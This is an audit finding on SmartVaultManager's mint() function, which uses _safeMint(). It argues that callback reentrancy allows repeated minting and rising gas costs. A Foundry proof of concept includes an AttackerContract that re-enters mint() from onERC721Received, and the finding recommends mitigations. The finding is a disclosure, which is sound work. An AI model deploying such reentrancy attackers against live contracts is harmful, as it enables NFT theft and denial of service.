Description: Both mint() functions within SmartVaultManager and SmartVaultManagerV5 utilize the _safeMint() internal function, which interacts with a callback. This functionality poses a potential vulnerability that could be exploited by an attacker to repeatedly mint NFTs, potentially leading to a Denial of Service (DoS) attack. Please note, for the scope of this finding, I am specifically evaluating the impact of the DoS attack rather than assessing reentrancy concerns. It's important to highlight that the NFT collection lacks a maxSupply(), hence a reentrancy attack could potentially be reverted due to gas constraints. However, this evaluation will solely focus on the effects of a DoS attack without exploring potential gas-related reentrancy issues.
function mint() external returns (address vault, uint256 tokenId) {
tokenId = lastToken + 1;
_safeMint(msg.sender, tokenId);
lastToken = tokenId;
vault = ISmartVaultDeployer(smartVaultDeployer).deploy(address(this), msg.sender, euros);
smartVaultIndex.addVaultAddress(tokenId, payable(vault));
IEUROs(euros).grantRole(IEUROs(euros).MINTER_ROLE(), vault);
IEUROs(euros).grantRole(IEUROs(euros).BURNER_ROLE(), vault);
emit VaultDeployed(vault, msg.sender, euros, tokenId);
}
function mint() external returns (address vault, uint256 tokenId) {
tokenId = lastToken + 1;
_safeMint(msg.sender, tokenId);
lastToken = tokenId;
vault = ISmartVaultDeployer(smartVaultDeployer).deploy(address(this), msg.sender, euros);
smartVaultIndex.addVaultAddress(tokenId, payable(vault));
IEUROs(euros).grantRole(IEUROs(euros).MINTER_ROLE(), vault);
IEUROs(euros).grantRole(IEUROs(euros).BURNER_ROLE(), vault);
emit VaultDeployed(vault, msg.sender, euros, tokenId);
}
While the mint() functions might include conditions that potentially cause reverts (we are not aiming to test that problem here), if this issue persists, an attacker could inflate transaction costs to a degree that transaction execution becomes economically unviable.
Proof of Concept:
Method used: Code test
Tool used: Foundry
Libraries used:
Project Directory Structure (all of the /src files are copy-pasted from the project repo)
-script
-src
-interfaces
-IEUROs.sol
-ISmartVaultDeployer.sol
-ISmartVaultIndex.sol
-utils
-ERC20Mock.sol
-EUROsMock.sol
-test
SafeMintReentrancy.t.sol
Content of SafeMintReentrancy.t.sol
pragma solidity ^0.8.17;
import {ERC721URIStorage} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "../src/interfaces/ISmartVaultDeployer.sol";
import "../src/interfaces/ISmartVaultDeployer.sol";
import {ERC20Mock} from "../src/utils/ERC20Mock.sol";
import {EUROsMock} from "../src/utils/EUROsMock.sol";
import {Test, console} from "forge-std/Test.sol";
contract LinkPoolTest is ERC721URIStorage, Ownable {
string public baseURI;
uint256 private lastToken;
address public smartVaultDeployer;
EUROsMock euros = new EUROsMock();
constructor() ERC721("ReentranFT", "RFT") Ownable(msg.sender) {}
function mint(address _to) external {
uint256 tokenId = ++lastToken;
_safeMint(_to, tokenId);
}
function setSmartVaultDeployer(
address _smartVaultDeployer
) external onlyOwner {
smartVaultDeployer = _smartVaultDeployer;
}
}
contract AttackerContract {
error AttackerContract__NotMyTarget();
LinkPoolTest poolInterface;
address private owner;
uint256 immutable NFTS_TO_STEAL;
constructor(address _linkPoolAddress, uint256 _nftsToSteal) {
poolInterface = LinkPoolTest(_linkPoolAddress);
NFTS_TO_STEAL = _nftsToSteal;
owner = msg.sender;
}
function attack() external {
poolInterface.mint(address(this));
}
function onERC721Received(
address _sender,
address _from,
uint256 _tokenId,
bytes memory _data
) external returns (bytes4 retval) {
if (msg.sender != address(poolInterface)) {
revert AttackerContract__NotMyTarget();
}
poolInterface.transferFrom(address(this), owner, _tokenId);
if (_tokenId < NFTS_TO_STEAL) {
poolInterface.mint(address(this));
}
return AttackerContract.onERC721Received.selector;
}
}
contract SafeMintTest is Test {
LinkPoolTest poolTest;
AttackerContract hackingContract;
uint256 previousGas;
uint256 immutable NFTS_TO_STEAL = 100;
address attacker;
function setUp() public {
poolTest = new LinkPoolTest();
attacker = address(66);
}
function testNftDoS(uint256 _nftsToSteal) public {
uint256 gasStart = gasleft();
vm.assume(_nftsToSteal < 200);
vm.prank(attacker);
hackingContract = new AttackerContract(address(poolTest), _nftsToSteal);
hackingContract.attack();
uint256 gasEnd = gasStart - gasleft();
assert(previousGas < gasEnd);
previousGas = gasEnd;
}
}
This file has 3 contracts inside:
LinkPoolTest is a simulation of the function that we are trying to test
AttackerContract is a contract that allows to reenter the contract
SafeMintTest makes the tests to check if the gas cost is rising
Disclaimer: I included vm.assume(_nftsToSteal < 200) to prevent out-of-gas failures in a single attempt.
Upon executing:
$ forge test --mt testNftDoS -vv
The output indicates increased gas costs with each iteration:
Running 1 test for test/SafeMintReentrancy.t.sol:SafeMintTest
[PASS] testNftDoS(uint256) (runs: 256, μ: 942279, ~: 416755)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 112.50ms
Recommended Mitigation: I can suggest two possible changes to mitigate this:
Replacement of _safeMint(). Substitute _safeMint() with _mint() to remove the reentrancy vulnerability associated with callback functions.
Implement nonReentrant Modifier: Utilize a nonReentrant modifier (available in ReentrancyGuard.sol contract from OpenZeppelin) to safeguard against reentrancy attacks in critical functions.
